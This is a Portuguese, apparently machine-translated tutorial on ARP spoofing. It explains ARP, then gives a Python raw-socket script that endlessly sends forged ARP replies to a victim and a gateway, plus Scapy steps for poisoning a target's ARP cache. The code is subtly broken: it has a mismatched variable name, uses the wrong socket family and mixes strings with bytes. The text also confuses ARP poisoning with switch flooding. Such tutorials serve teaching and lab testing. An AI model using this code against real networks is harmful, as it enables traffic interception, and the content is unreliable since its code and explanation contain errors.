Teste de penetração Python - ARP Spoofing
O ARP pode ser definido como um protocolo sem estado que é usado para mapear endereços de protocolo da Internet (IP) para endereços de máquina física.
Trabalho de ARP
Nesta seção, aprenderemos sobre o funcionamento do ARP. Considere as seguintes etapas para entender como o ARP funciona -
Step 1 - Primeiro, quando uma máquina deseja se comunicar com outra, ela deve consultar sua tabela ARP para obter o endereço físico.
Step 2 - Se encontrar o endereço físico da máquina, o pacote após a conversão para o comprimento correto, será enviado para a máquina desejada
Step 3 - Mas se nenhuma entrada for encontrada para o endereço IP na tabela, o ARP_request será transmitido pela rede.
Step 4- Agora, todas as máquinas na rede irão comparar o endereço IP transmitido ao endereço MAC e se alguma das máquinas na rede identificar o endereço, ela responderá ao ARP_request junto com seu endereço IP e MAC. Essa mensagem ARP é chamada ARP_reply.
Step 5 - Por fim, a máquina que envia a solicitação armazenará o par de endereços em sua tabela ARP e toda a comunicação será realizada.
O que é ARP Spoofing?
Pode ser definido como um tipo de ataque em que um agente mal-intencionado está enviando uma solicitação ARP forjada pela rede local. ARP Poisoning também é conhecido como ARP Spoofing. Pode ser entendido com a ajuda dos seguintes pontos -
O primeiro spoofing de ARP, para sobrecarregar o switch, criará um grande número de pacotes de solicitação e resposta ARP falsificados.
Então, a chave será colocada no modo de encaminhamento.
Agora, a tabela ARP seria inundada com respostas ARP falsificadas, para que os invasores pudessem farejar todos os pacotes de rede.
Implementação usando Python
Nesta seção, entenderemos a implementação Python de spoofing de ARP. Para isso, precisamos de três endereços MAC - primeiro da vítima, segundo do atacante e terceiro do gateway. Junto com isso, também precisamos usar o código do protocolo ARP.
Vamos importar os módulos necessários da seguinte forma -
import socket
import struct
import binascii
Agora, vamos criar um socket, que terá três parâmetros. O primeiro parâmetro nos diz sobre a interface do pacote (PF_PACKET para Linux específico e AF_INET para Windows), o segundo parâmetro nos diz se é um socket raw e o terceiro parâmetro nos diz sobre o protocolo no qual estamos interessados (aqui 0x0800 usado para IP protocolo).
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))
Agora iremos fornecer o endereço mac do invasor, vítima e máquina de gateway -
attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'
Precisamos fornecer o código do protocolo ARP conforme mostrado -
code ='\x08\x06'
Dois pacotes Ethernet, um para a máquina da vítima e outro para a máquina do gateway, foram elaborados da seguinte forma -
ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac + attckmac + code
As seguintes linhas de código estão em ordem de acordo com o cabeçalho ARP -
htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'
Agora precisamos fornecer os endereços IP da máquina de gateway e das máquinas vítima (vamos supor que temos os seguintes endereços IP para máquinas de gateway e vítima) -
gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'
Converta os endereços IP acima para o formato hexadecimal com a ajuda do socket.inet_aton() método.
gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )
Execute a seguinte linha de código para alterar o endereço IP da máquina gateway.
victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip
while 1:
s.send(victim_ARP)
s.send(gateway_ARP)
Implementação usando Scapy em Kali Linux
A falsificação de ARP pode ser implementada usando Scapy no Kali Linux. Siga estas etapas para realizar o mesmo -
Etapa 1: endereço da máquina do invasor
Nesta etapa, encontraremos o endereço IP da máquina do invasor executando o comando ifconfig no prompt de comando do Kali Linux.
Etapa 2: endereço da máquina de destino
Nesta etapa, encontraremos o endereço IP da máquina de destino, executando o comando ifconfig no prompt de comando do Kali Linux, que precisamos abrir em outra máquina virtual.
Etapa 3: fazer ping na máquina de destino
Nesta etapa, precisamos fazer o ping da máquina alvo da máquina do invasor com a ajuda do seguinte comando -
Ping –c 192.168.43.85(say IP address of target machine)
Etapa 4: cache ARP na máquina de destino
Já sabemos que duas máquinas usam pacotes ARP para trocar endereços MAC, portanto, após a etapa 3, podemos executar o seguinte comando na máquina de destino para ver o cache ARP -
arp -n
Etapa 5: Criação de pacote ARP usando Scapy
Podemos criar pacotes ARP com a ajuda de Scapy da seguinte maneira -
scapy
arp_packt = ARP()
arp_packt.display()
Etapa 6: Envio de pacote ARP malicioso usando Scapy
Podemos enviar pacotes ARP maliciosos com a ajuda de Scapy da seguinte maneira -
arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)
Step 7: Again check ARP cache on target machine
Agora, se verificarmos novamente o cache ARP na máquina de destino, veremos o endereço falso '1.1.1.1'.